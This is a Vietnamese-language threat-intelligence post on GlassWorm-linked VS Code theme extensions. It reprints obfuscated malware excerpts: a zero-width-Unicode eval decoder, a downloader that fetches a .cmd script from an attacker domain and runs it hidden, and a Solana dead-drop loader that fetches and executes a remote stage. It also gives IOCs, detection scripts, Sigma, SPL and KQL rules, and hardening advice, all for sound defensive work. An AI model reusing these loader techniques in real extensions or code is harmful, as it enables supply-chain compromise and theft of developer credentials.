Skip to main content

Command Palette

Search for a command to run...

GlassWorm giấu mã độc trong theme VS Code: cụm extension trên Marketplace và Open VSX

Updated
•20 min read•View as Markdown
GlassWorm giấu mã độc trong theme VS Code: cụm extension trên Marketplace và Open VSX

Phát hiện cụm extension theme màu trên Visual Studio Marketplace và Open VSX Registry liên quan chiến dịch tấn công chuỗi cung ứng GlassWorm. Thay vì chỉ chứa tệp định nghĩa màu sắc khai báo, các extension này nhúng mã JavaScript thực thi ngầm với toàn bộ đặc quyền của lập trình viên. Chỉ hai extension được xác nhận độc hại: Aurora Nocturne giấu một downloader Windows bằng ký tự Unicode zero-width, còn Cosmic Nebula dùng memo giao dịch Solana làm dead-drop để tìm máy chủ payload. Các theme còn lại chưa có payload nhưng bị Socket xếp rủi ro cao.


Tóm tắt tổng quan

Ngày 02/10/2026, các nhà nghiên cứu công bố báo cáo extension theme màu trên Visual Studio Marketplace và Open VSX Registry liên quan đến chiến dịch GlassWorm. Thay vì chỉ tùy biến giao diện, hai extension trong cụm được xác nhận mang mã độc thực thi.

Rủi ro lớn nhất đến từ việc Visual Studio Code không áp dụng cơ chế phân quyền chi tiết cho extension. Khi theme được cài, mã JavaScript đi kèm chạy với quyền của tài khoản lập trình viên trên máy. Mục tiêu chính của GlassWorm là thu thập phiên đăng nhập, khóa SSH, ví tiền mã hoá và mã thông báo xác thực nội bộ. Máy từng cài hai extension độc hại có thể đã chạy payload tải thêm mà Socket không thu được nội dung.

Hành động cấp thiết nhất: Rà soát ngay danh mục extension trên mọi máy trạm bằng lệnh dòng lệnh. Gỡ bỏ lập tức các mã định danh trong danh sách IOC. Đội ngũ cần thu hồi toàn bộ khóa định danh cùng token nếu thiết bị từng cài hai extension độc hại.

Sơ đồ chuỗi tấn công (Kill Chain & Supply Chain Flow)

Chuỗi cung ứng bị lạm dụng thông qua việc đưa mã độc vào các gói extension giao diện nhằm vượt qua sự nghi ngờ của lập trình viên:


Cơ chế thực thi mã trong extension giao diện VS Code

Theme màu trong Visual Studio Code về bản chất là tài nguyên khai báo (declarative). Một theme thông thường chỉ cần khai báo đường dẫn tệp JSON hoặc tmTheme định nghĩa bảng màu trong mục contributes.themes của tệp package.json. Trình soạn thảo sẽ trực tiếp nạp cấu hình hiển thị mà không đòi hỏi bất kỳ luồng xử lý mã lệnh nào.

Trong khi đó, manifest của Aurora Nocturne khai báo điểm vào thực thi main cùng sự kiện kích hoạt toàn cục (Cosmic Nebula tương tự, với entrypoint app.js và kích hoạt trên *):

{
  "main": "./out/extension.js",
  "activationEvents": ["*"]
}

Cấu hình activationEvents: ["*"] chỉ thị cho Visual Studio Code khởi chạy tiến trình Extension Host và nạp mã nguồn JavaScript của extension ngay khi người dùng mở trình soạn thảo. Thay vì nằm yên ở tầng giao diện, extension lập tức chiếm được quyền thực thi tiến trình nền. Theo Socket, VS Code thiếu cơ chế phân quyền chi tiết để giới hạn việc extension được làm gì, nên mã JavaScript này có quyền tương đương tài khoản người dùng đang chạy VS Code.

Aurora Nocturne: Giả mạo Microsoft, giấu downloader bằng zero-width Unicode

Phiên bản phát hành trên Visual Studio Marketplace của Aurora Nocturne Night Theme mượn danh nghĩa nhà phát hành hiển thị là "microsoft" với định danh microsoftvs.microsoftvs nhằm tạo vỏ bọc đáng tin cậy.

Listing Marketplace của Aurora Nocturne Night Theme

Hình 2: Trang danh mục Visual Studio Marketplace của Aurora Nocturne Night Theme hiển thị tên nhà phát triển Microsoft giả mạo trước khi bị gỡ bỏ.

Bên trong gói phân phối, tệp out/extension.js có dung lượng xấp xỉ 59 KB được nén thành một dòng duy nhất. Kẻ tấn công áp dụng nhiều lớp làm rối mã: đặt biến ngẫu nhiên, thoát chuỗi hex, tái cấu trúc chuỗi tại runtime và nhúng tải trọng ẩn bằng ký tự Unicode zero-width:

// Trích từ báo cáo Socket (đã rút gọn)
const fs = require('\x66\x73');
function zeroWidthDecode(_0x1ffad8) { /* ... */ }
const encoded = a0_0xeb9a8b(0x266) + /* ... */ '\u200c\u200c\u200b\u200b\u200b' + '\u200b\u200d\u200b\u200c\u200c\u200c\u200b' + /* ... */;
decoded = zeroWidthDecode(encoded);
eval(decoded);

Sau khi giải mã mảng ký tự vô hình trong bộ nhớ, đoạn mã nạp tiếp tải trọng downloader hoạt động qua mạng. Tải trọng này gửi yêu cầu HTTP GET đến tên miền do kẻ tấn công kiểm soát để tải về tệp kịch bản lệnh Windows:

// Trích từ báo cáo Socket (đã rút gọn, chú thích từ Socket)
const https = require('https');
const fs = require('fs');
const os = require('os');
const path = require('path');
const { exec } = require('child_process');

// Download threat actor-controlled content
https.get('hxxps://fingercakes4sale[.]store/dsyuC', (response) => {
    // Save the response as a Windows command script
    const file = fs.createWriteStream(
        path.join(os.tmpdir(), 'temp_batch.cmd')
    );
    response.pipe(file);
    file.on('finish', () => {
        file.close();
        // Execute the downloaded script and suppress the command window
        exec(
            `cmd /c "${path.join(os.tmpdir(), 'temp_batch.cmd')}"`,
            { windowsHide: true }
        );
    });
});

Tiến trình tải nội dung từ hxxps://fingercakes4sale[.]store/dsyuC rồi ghi ra %TEMP%\temp_batch.cmd. Kế tiếp, hàm child_process.exec khởi chạy trình bao cmd.exe với cờ windowsHide: true nhằm ẩn cửa sổ dòng lệnh đối với mắt người dùng.

Điểm đáng lưu ý nằm ở chỗ kho lưu trữ GitHub công khai của extension này chỉ chứa tệp app.js vô hại phục vụ trang chào mừng. Kẻ tấn công chỉ chèn mã độc vào gói phát hành đưa lên Marketplace. Thực tế này là bài học nhãn tiền cho đội ngũ phân tích: việc kiểm toán mã nguồn mở trên Git không đồng nghĩa với việc gói cài đặt đến tay người dùng an toàn.

Cosmic Nebula: Loader đa tầng, né tránh máy Nga và dead-drop qua Solana

Tại phiên bản phân phối trên Visual Studio Marketplace của Cosmic Nebula Themes (cosmic-themes.theme-cosmic-nebula), kẻ tấn công triển khai một kiến trúc nạp mã phức tạp gắn liền với chiến dịch GlassWorm. Extension kích hoạt qua tệp app.js, tiến hành giải mã khối JavaScript nhúng bằng thuật toán AES-256-CBC với khóa wDO6YyTm6DL0T0zJ0SXhUql5Mo0pdlSz và vectơ khởi tạo IV 4c4b9a3773e9dced6015a670855fd32b.

Đoạn mã sau khi giải mã chạy trực tiếp qua eval() và kiểm tra môi trường hệ thống:

// Trích từ báo cáo Socket (đã rút gọn, chú thích từ Socket)
// Exit on systems matching Russian locale/timezone conditions
if (_isRussianSystem()) return;

// Query the GlassWorm Solana dead-drop address
const signatures = await _getSignFAddress("BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC", { limit: 1000 });

// Extract JSON from a transaction memo and decode the next-stage URL
const memo = signatures.filter(x => x?.memo)[0].memo;
const data = JSON.parse(memo.replace(/\[\d+\]\s*/, ""));
const nextStageUrl = atob(data.link);

// Identify the victim platform and retrieve threat actor-controlled JavaScript
const response = await fetch(nextStageUrl, { headers: { os: os.platform() } });
const payload = await response.text();
const iv = response.headers.get("ivbase64");
const secretKey = response.headers.get("secretkey");

// Execute the retrieved stage with Node.js capabilities exposed
const context = vm.createContext({ require, Buffer, process, console, setTimeout, setInterval });
new vm.Script(/* decoded payload */).runInContext(context);

Hàm _isRussianSystem() kiểm tra ngôn ngữ và múi giờ máy tính; nếu khớp điều kiện ngôn ngữ/múi giờ Nga, mã độc dừng lại. Ngược lại, mã độc tiến hành truy vấn lịch sử giao dịch của ví Solana mang địa chỉ BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC.

Trường memo trong giao dịch Solana đóng vai trò như điểm phân giải ẩn (dead-drop resolver). Địa chỉ ví trên blockchain là bất biến và công khai. Memo chứa JSON có trường link mã hoá Base64. Kẻ vận hành chỉ cần gửi một giao dịch mới để đổi URL stage tiếp theo, không phải sửa hay phát hành lại extension. Vì vậy, chặn IOC tĩnh (IP, domain) sẽ nhanh chóng lỗi thời.

Sau khi giải mã liên kết từ trường memo, mã độc gửi yêu cầu HTTP mang tiêu đề os chứa hệ điều hành nạn nhân và nhận về khối JavaScript được mã hoá. Khóa giải mã được truyền qua hai tiêu đề HTTP phản hồi ivbase64 và secretkey. Cuối cùng, khối mã được nạp vào ngữ cảnh cô lập vm.createContext nhưng lại được cấp đầy đủ quyền truy cập các mô-đun cấp cao của Node.js gồm require, Buffer, process và các bộ định thời gian.

Dấu vết liên kết cụm từ lịch sử Git và cấu trúc mã nguồn

Mối liên hệ giữa các extension trong chiến dịch không dừng lại ở hành vi tải mã mà được chứng minh qua dữ liệu lịch sử phiên bản trên GitHub:

Sơ đồ liên kết tài khoản Git và Marketplace của cụm theme

Hình 3: Mối liên kết phát triển giữa ba tài khoản GitHub xuyên suốt các dự án Coca-Cola Christmas, Aurora Nocturne và Aurora Borealis.

Kho lưu trữ Coca-Cola Christmas thuộc quyền sở hữu của người dùng hakhangthu7558-sys, tuy nhiên toàn bộ lịch sử commit trong kho lại do tài khoản aubineherodvulbdl (aubineherodvulbdl@outlook[.]com) thực hiện. Chính tài khoản này cũng trực tiếp commit mã nguồn của Aurora Nocturne Night Theme. Trong khi đó, hai commit đầu tiên của Aurora Nocturne lại do lohsebhipolg2s (lohsebhipolg2s@outlook[.]com) thực hiện, đây cũng là đơn vị phát hành của Aurora Borealis Studio Theme.

Vào ngày 06/12/2025, lohsebhipolg2s đẩy mã tài nguyên cho Aurora Nocturne. Khoảng một giờ sau, aubineherodvulbdl bổ sung mã nguồn extension này, rồi lập tức chuyển sang kho Coca-Cola Christmas để cập nhật tài nguyên. Toàn bộ 5 commit then chốt diễn ra trong vòng 3 giờ với cùng độ lệch thời gian UTC-08:00.

Đồng thời, sau khi chuẩn hóa tên gọi và mã màu hex, định nghĩa theme của Aurora Nocturne và Aurora Borealis tương đồng tới gần 100%. Các tệp cấu hình chứa hàng loạt chú thích tiếng Nga giống nhau theo thứ tự: ТЕРМИНАЛ (16 ANSI цветов + фон/передний план), ГРУППЫ РЕДАКТОРОВ И ВКЛАДКИ, ПОДСВЕТКА СКОБОК, ОБЗОРНАЯ ЛИНЕЙКА và НЕДЕЙСТВИТЕЛЬНЫЙ КОД. Tất cả các dự án đều tái sử dụng cùng một bộ khung mã app.js cho trang chào mừng với biến cờ hasShownWelcome.

Kỹ thuật Brandjacking và Name-squatting đánh lừa nhà phát triển

Nhằm gia tăng tỷ lệ cài đặt mà không gây nghi ngờ, kẻ vận hành kết hợp kỹ thuật chiếm đoạt thương hiệu (brandjacking) và chiếm dụng tên tương đồng (name-squatting).

Listing Marketplace của Coca-Cola Christmas

Hình 4: Extension Coca-Cola Christmas mượn nhãn hiệu đồ uống quốc tế để tạo độ tin cậy trên kho ứng dụng.

Extension Coca-Cola Christmas lạm dụng trực tiếp thương hiệu nước giải khát toàn cầu dưới tên nhà phát hành holiday-themes. Đối với Aurora Borealis Studio Theme (lohsebhipolg2s.theme-aurora-borealis), kẻ tấn công đặt tên mô phỏng một extension hợp pháp đã tồn tại lâu đời là mister-gold.aurora-borealis-theme. Trong khi extension ban đầu của Mister Gold sử dụng cơ chế khai báo JSON chuẩn, phiên bản của nhóm tấn công lại tích hợp thêm mã JavaScript thực thi không cần thiết.

Cần nhấn mạnh rằng các phiên bản được Socket phân tích của Coca-Cola Christmas và Aurora Borealis Studio Theme chưa kích hoạt tải trọng độc hại. Tuy nhiên, việc tồn tại mã JavaScript thừa trong theme cùng mối liên kết mật thiết với cụm mã độc đã khiến Socket xếp chúng vào mức rủi ro cao. Hai extension này đã tích lũy hơn 8.000 lượt cài đặt trên Marketplace trước khi bị xử lý.

Mở rộng sang hệ sinh thái Open VSX và hạ tầng quảng bá độc hại

Cụm extension này còn có mặt trên Open VSX Registry, kho extension mà nhiều trình soạn thảo tương thích VS Code sử dụng (ví dụ Cursor, VSCodium).

Kết quả quét Socket AI Scanner với Coca-Cola Christmas

Hình 5: Socket AI Scanner phân loại Coca-Cola Christmas 1.0.2 là mã độc dựa trên độ tương đồng cụm phát triển.

Sáu danh tính extension được ghi nhận trên Open VSX bao gồm: holiday-themes.theme-coca-cola-christmas, lohsebhipolg2s.theme-aurora-borealis, aurora-them-creator.theme-aurora-nocturne, solidity-syntax.deep-focus, charcoal-mint-studio.theme-charcoal-mint và cosmic-themes.theme-cosmic-nebula.

Listing Open VSX của Coca-Cola Christmas

Hình 6: Phiên bản Open VSX của Coca-Cola Christmas ghi nhận xấp xỉ 39.000 lượt tải xuống.

Số lượng tải xuống trên Open VSX đạt hàng chục nghìn lượt, trong đó bản Coca-Cola Christmas đạt khoảng 39.000 lượt và Charcoal Mint đạt khoảng 10.000 lượt. Một bài viết trên DEV Community ngày 14/12/2025 tự giới thiệu là hướng dẫn chọn theme cho Cursor, nhưng trực tiếp dẫn người đọc cài các theme của cụm này từ Open VSX:

Bài viết tiếp thị trên DEV Community ngày 14/12/2025

Hình 7: Bài đăng trên DEV Community ngụy trang dưới dạng bài đánh giá theme cho Cursor nhằm dẫn dụ người dùng cài đặt.

Tài khoản đăng bài trên DEV Community được khởi tạo cùng ngày với thời điểm bài viết xuất hiện. Socket đánh giá đây là hạ tầng tiếp thị phục vụ chiến dịch thay vì bài đánh giá độc lập của cộng đồng

Indicators of Compromise

-- Confirmed Malicious Visual Studio Marketplace Extensions --
Aurora Nocturne Night Theme (microsoftvs.microsoftvs)
VSIX/ZIP SHA-256: a276b76d3b00f302bb4dfb3690125c85ff472b16049c3c37476ac5e51096df07
out/extension.js SHA-256: 5e68ca8c2097caccdb74d2752b85b85595a4bf646b442b8431a2416e87dbf268
Domain: fingercakes4sale[.]store
Payload URL: hxxps://fingercakes4sale[.]store/dsyuC
Dropped file: %TEMP%\temp_batch.cmd
Execution: cmd.exe /c "<TEMP_PATH>\temp_batch.cmd"

Cosmic Nebula Themes (cosmic-themes.theme-cosmic-nebula)
app.js SHA-256: 684c877a52d226d50584cb886ca8ec5bec6355d4de853f406734c79d5b387804
Decrypted embedded stage SHA-256: da2d950e50326171adbff9c2bfd6f28998e32623ea7c2c475b9159a45cfb86bb
Solana dead-drop address: BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC
AES-256-CBC key: wDO6YyTm6DL0T0zJ0SXhUql5Mo0pdlSz
AES IV: 4c4b9a3773e9dced6015a670855fd32b
Stage-response headers: ivbase64, secretkey
Local execution marker: <USER_HOME>/init.json
GitHub repository: vovanloc2234-sudo/Cosmic-Nebula-Themes

-- Cluster-Linked Open VSX Extensions --
holiday-themes.theme-coca-cola-christmas
lohsebhipolg2s.theme-aurora-borealis
aurora-them-creator.theme-aurora-nocturne
solidity-syntax.deep-focus
charcoal-mint-studio.theme-charcoal-mint
cosmic-themes.theme-cosmic-nebula
(aurora-them-creator.theme-aurora-nocturne is distinct from the confirmed malicious microsoftvs.microsoftvs package.)

-- GitHub Accounts and Commit Identities --
aubineherodvulbdl
aubineherodvulbdl@outlook[.]com
lohsebhipolg2s
lohsebhipolg2s@outlook[.]com
hakhangthu7558-sys
vovanloc2234-sudo

-- GitHub Repositories --
aubineherodvulbdl/Aurora-Nocturne-Dreams
hakhangthu7558-sys/Coca-Cola-Christmas
lohsebhipolg2s/Aurora-Borealis-Theme
vovanloc2234-sudo/Cosmic-Nebula-Themes

-- Live VS Code Marketplace Cluster Pivots --
holiday-themes.theme-coca-cola-christmas
lohsebhipolg2s.theme-aurora-borealis

-- Associated Support Identities --
support@holiday-themes[.]dev
holiday-themes[.]dev
aurora.themes.dev@gmail[.]com

-- Related GlassWorm Campaign Link --
cosmic-themes.sql-formatter — previously identified by Socket as a malicious GlassWorm Open VSX extension associated with the same cosmic-themes publisher namespace.
Note: cluster-linked identities are threat intelligence pivots. Not every analyzed extension version contained an active malicious payload.

Phát hiện và săn lùng mối đe dọa (Detection & Threat Hunting)

Kiểm kê extension cục bộ qua giao diện dòng lệnh

Lập trình viên và chuyên viên phân tích có thể lập danh mục toàn bộ extension đã cài đặt trên máy trạm thông qua CLI của trình biên dịch:

# Liệt kê extension trên Visual Studio Code chính thức
code --list-extensions --show-versions

# Liệt kê extension trên Cursor (sử dụng Open VSX)
cursor --list-extensions --show-versions

Đầu ra của lệnh cần được đối chiếu tự động với danh sách mã định danh IOC đã ghi nhận, đặc biệt lưu ý các chuỗi microsoftvs.microsoftvs, cosmic-themes.theme-cosmic-nebula, holiday-themes.theme-coca-cola-christmas và lohsebhipolg2s.theme-aurora-borealis.

Script Python rà soát manifest extension bất thường

Dấu hiệu nhận diện quan trọng nhất của một theme độc hại là sự hiện diện của trường thực thi mã main hoặc browser đi kèm cờ kích hoạt activationEvents: ["*"] bên cạnh danh mục contributes.themes. Script Python dưới đây quét thư mục extension của người dùng để phát hiện bất thường:

import os
import json
import sys
from pathlib import Path

def scan_vscode_extensions():
    home = Path.home()
    possible_paths = [
        home / ".vscode" / "extensions",
        home / ".vscode-insiders" / "extensions",
        home / ".vscode-oss" / "extensions",   # VSCodium
        home / ".cursor" / "extensions",
    ]
    
    findings = []
    
    for base_dir in possible_paths:
        if not base_dir.exists():
            continue
            
        for ext_folder in base_dir.iterdir():
            pkg_path = ext_folder / "package.json"
            if not pkg_path.is_file():
                continue
                
            try:
                with open(pkg_path, "r", encoding="utf-8", errors="ignore") as f:
                    data = json.load(f)
            except Exception:
                continue
                
            contributes = data.get("contributes", {})
            has_themes = "themes" in contributes
            has_code_entry = bool(data.get("main") or data.get("browser"))
            activation_events = data.get("activationEvents", [])
            activates_on_all = "*" in activation_events
            
            if has_themes and has_code_entry and activates_on_all:
                findings.append({
                    "path": str(ext_folder),
                    "name": data.get("name"),
                    "publisher": data.get("publisher"),
                    "version": data.get("version"),
                    "main": data.get("main"),
                })
                
    return findings

if __name__ == "__main__":
    results = scan_vscode_extensions()
    if results:
        print(f"[!] Canh bao: Phat hien {len(results)} theme co ma thuc thi:")
        for r in results:
            print(f" - {r['publisher']}.{r['name']} v{r['version']} -> Entry: {r['main']}")
            print(f"   Thu muc: {r['path']}")
    else:
        print("[+] Khong phat hien theme co cau hinh thuc thi bat thuong.")

Dấu vết trên máy trạm Windows và kiểm tra tệp tin chỉ dấu

Trên các thiết bị chạy Windows, SOC cần ưu tiên rà soát hai vị trí tệp tin cụ thể:

  1. %TEMP%\temp_batch.cmd: Tệp kịch bản do loader Aurora Nocturne tải xuống từ tên miền fingercakes4sale[.]store.

  2. %USERPROFILE%\init.json: Socket liệt kê <USER_HOME>/init.json là marker thực thi cục bộ của Cosmic Nebula. Tên file này phổ biến, nên chỉ coi là dấu hiệu khi đi kèm extension trong IOC.

Lệnh PowerShell kiểm tra nhanh sự xuất hiện của các tệp trên:

Get-ChildItem -Path $env:TEMP -Filter "temp_batch.cmd" -ErrorAction SilentlyContinue
Get-ChildItem -Path $env:USERPROFILE -Filter "init.json" -ErrorAction SilentlyContinue

Quy tắc Sigma phát hiện tiến trình thực thi bất thường

Quy tắc Sigma dưới đây bắt cmd.exe do VS Code/Cursor sinh ra để chạy file .cmd trong thư mục Temp. Không dùng rule "mọi shell con của Code.exe": terminal tích hợp của VS Code cũng sinh shell từ Code.exe, sẽ báo động liên tục.

title: Suspicious Process Spawning From VS Code Extension Host
id: b70b954f-107c-4eb4-b89d-13d27773b693
status: experimental
description: cmd.exe do VS Code/Cursor sinh ra để chạy file .cmd trong thư mục Temp, giống hành vi temp_batch.cmd của Aurora Nocturne (GlassWorm-linked).
references:
    - https://socket.dev/blog/glassworm-vscode-themes
author: FPT IS CSC - Threat Intelligence
date: 2026-10-10
tags:
    - attack.execution
    - attack.t1059.003
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\Code.exe'
            - '\Cursor.exe'
    selection_cmd:
        Image|endswith: '\cmd.exe'
        CommandLine|contains|all:
            - '/c'
            - '\Temp\'
            - '.cmd'
    condition: selection_parent and selection_cmd
falsepositives:
    - Task runner hoặc extension hợp lệ chạy file .cmd tạm trong %TEMP%; cần baseline theo môi trường
level: medium

EDR và SIEM (Splunk SPL & Microsoft Defender KQL)

Truy vấn Splunk SPL tìm kiếm kết nối mạng và hành vi sinh tệp kịch bản:

(index=dns OR index=proxy) (query="*fingercakes4sale.store*" OR url="*fingercakes4sale.store*")
OR (index=sysmon EventCode=11 Image="*\\Code.exe" TargetFilename="*\\temp_batch.cmd")
OR (index=sysmon EventCode=1 ParentImage="*\\Code.exe" Image="*\\cmd.exe" CommandLine="*temp_batch.cmd*")
| table _time host user EventCode ParentImage Image CommandLine TargetFilename query url

Truy vấn KQL trên Microsoft Defender for Endpoint:

let MaliciousDomain = "fingercakes4sale.store";
let NetworkEvents = DeviceNetworkEvents
| where RemoteUrl contains MaliciousDomain or RemoteUrl contains "dsyuC"
| project Timestamp, DeviceName, ActionType, RemoteUrl, InitiatingProcessFileName;
let FileEvents = DeviceFileEvents
| where FileName =~ "temp_batch.cmd"
    or (FileName =~ "init.json" and FolderPath matches regex @"(?i)^C:\\Users\\[^\\]+\\init\.json$")
| project Timestamp, DeviceName, ActionType, FolderPath, InitiatingProcessFileName;
let ProcessEvents = DeviceProcessEvents
| where InitiatingProcessFileName =~ "Code.exe" and ProcessCommandLine contains "temp_batch.cmd"
| project Timestamp, DeviceName, ActionType, FileName, ProcessCommandLine;
union NetworkEvents, FileEvents, ProcessEvents

Ghi chú: Tên index/field trong SPL là placeholder (giả định Sysmon), cần map theo SIEM thực tế. Báo cáo của Socket không nêu Solana RPC endpoint mà loader dùng. Việc săn lùng kết nối Solana đòi hỏi đội ngũ SOC phải thiết lập đường cơ sở (baseline) lưu lượng mạng bình thường từ các tiến trình của lập trình viên trước khi gắn cảnh báo.


Nhận định

Theo đánh giá của chúng tôi, cụm extension này khai thác đúng một điểm mù trong bảo mật chuỗi cung ứng phần mềm. Theme màu từ lâu được mặc định xem là tệp tài nguyên vô hại, khiến cả lập trình viên lẫn các hệ thống kiểm soát nội bộ lơ là việc giám sát.

Sự trỗi dậy của các môi trường phát triển tích hợp dựa trên mã nguồn mở như Cursor hay Windsurf đã thúc đẩy việc sử dụng kho ứng dụng thay thế Open VSX [Inference]. Trong vụ này, VS Marketplace gỡ extension ngay sau báo cáo, còn Socket không nêu Open VSX đã xử lý tới đâu. Mỗi registry có quy trình kiểm duyệt riêng, nên doanh nghiệp không thể dựa vào việc registry tự lọc.

Bên cạnh đó, việc áp dụng cơ chế dead-drop resolver trên blockchain Solana phản ánh xu hướng chuyển dịch hạ tầng chỉ huy sang các nền tảng phi tập trung. Kẻ tấn công thay đổi địa chỉ máy chủ tải mã độc chỉ qua một giao dịch ví công khai. Điều đó khiến các danh sách đen IP hay tên miền tĩnh nhanh chóng mất tác dụng.

Đáng lưu ý, các extension như Coca-Cola Christmas khi xuất bản chưa hề chứa tải trọng độc hại nhưng vẫn giữ khung mã JavaScript thực thi. Socket cảnh báo các extension này có thể bị vũ khí hoá ở một bản cập nhật sau. Chúng tôi đánh giá đây là mô hình "tích uy tín trước, cài payload sau": lượt cài tăng dần, rồi mã độc đến qua cơ chế tự động cập nhật.

Socket không công bố nạn nhân theo quốc gia, nên chúng tôi không có số liệu ảnh hưởng tại Việt Nam. Với tổ chức không quản lý danh sách extension, lập trình viên có thể tự cài theme và tiện ích mà không qua phê duyệt. Nếu máy trạm bị chiếm quyền điều khiển, kẻ tấn công có thể tiếp cận ngay lập tức với mã nguồn dự án, khóa SSH nội bộ và thông tin xác thực đám mây của doanh nghiệp.


Khuyến nghị

  • Rà soát toàn bộ máy trạm của lập trình viên để xác định sự hiện diện của các extension thuộc danh mục IOC, đặc biệt là microsoftvs.microsoftvs và cosmic-themes.theme-cosmic-nebula.

  • Gỡ bỏ lập tức các tiện ích vi phạm khỏi môi trường làm việc của lập trình viên.

  • Nếu ghi nhận máy trạm từng cài đặt hai extension độc hại trên, lập tức cô lập thiết bị, thực hiện thu hồi và đổi mới toàn bộ khóa SSH, token GitHub/GitLab cá nhân cùng thông tin xác thực đám mây đã lưu trên máy.

  • Cấu hình vô hiệu hóa tính năng tự động cập nhật extension trên các máy trạm phục vụ dự án trọng yếu bằng cách bổ sung thiết lập vào tệp cấu hình settings.json:

    {
      "extensions.autoUpdate": false
    }
    
  • Triển khai script rà soát tự động định kỳ trên toàn bộ hạ tầng máy trạm nhằm phát hiện các theme có cấu hình main kết hợp với activationEvents: ["*"].

  • Tinh chỉnh các bộ luật EDR nhằm giám sát chặt chẽ hành vi sinh tiến trình thực thi dòng lệnh (cmd.exe, powershell.exe) xuất phát từ tiến trình mẹ Code.exe hoặc cursor.exe.

  • Áp dụng allowlist extension cho doanh nghiệp. VS Code có setting/policy extensions.allowed để chỉ cho phép extension hoặc publisher được liệt kê [cần kiểm theo phiên bản VS Code]. Ví dụ cấu hình:

    {
      "extensions.allowed": {
        "ms-python": true,
        "esbenp.prettier-vscode": true,
        "*": false
      }
    }
    

    Allowlist phải theo publisher ID, không theo tên hiển thị: Aurora Nocturne hiển thị "microsoft" nhưng publisher ID thật là microsoftvs.

  • Xây dựng quy trình đánh giá bảo mật dựa trên tệp gói thực tế (artifact package) thay vì chỉ kiểm tra mã nguồn công khai trên kho GitHub, ngăn ngừa rủi ro sai lệch nội dung giữa mã nguồn và gói phân phối.

  • Tách biệt môi trường phát triển chứa mã nguồn nhạy cảm sang các máy trạm ảo hóa hoặc container chuyên dụng, hạn chế tối đa việc lưu trữ lâu dài các khóa định danh bí mật trên máy trạm cá nhân.


Tài liệu tham khảo

  1. Socket Threat Research (02/10/2026) — Pretty Themes, Hidden Loaders: GlassWorm-Linked Extensions Span VS Code Marketplace and Open VSX
    URL: https://socket.dev/blog/glassworm-vscode-themes

  2. GBHackers News (05/10/2026) — GlassWorm Supply Chain Attack Hides Malware Inside VS Code Color Themes
    URL: https://gbhackers.com/glassworm-supply-chain/

  3. MITRE ATT&CK Framework — Enterprise Matrix Tactics and Techniques
    URL: https://attack.mitre.org/


More from this blog

F

FPT IS Security

1053 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.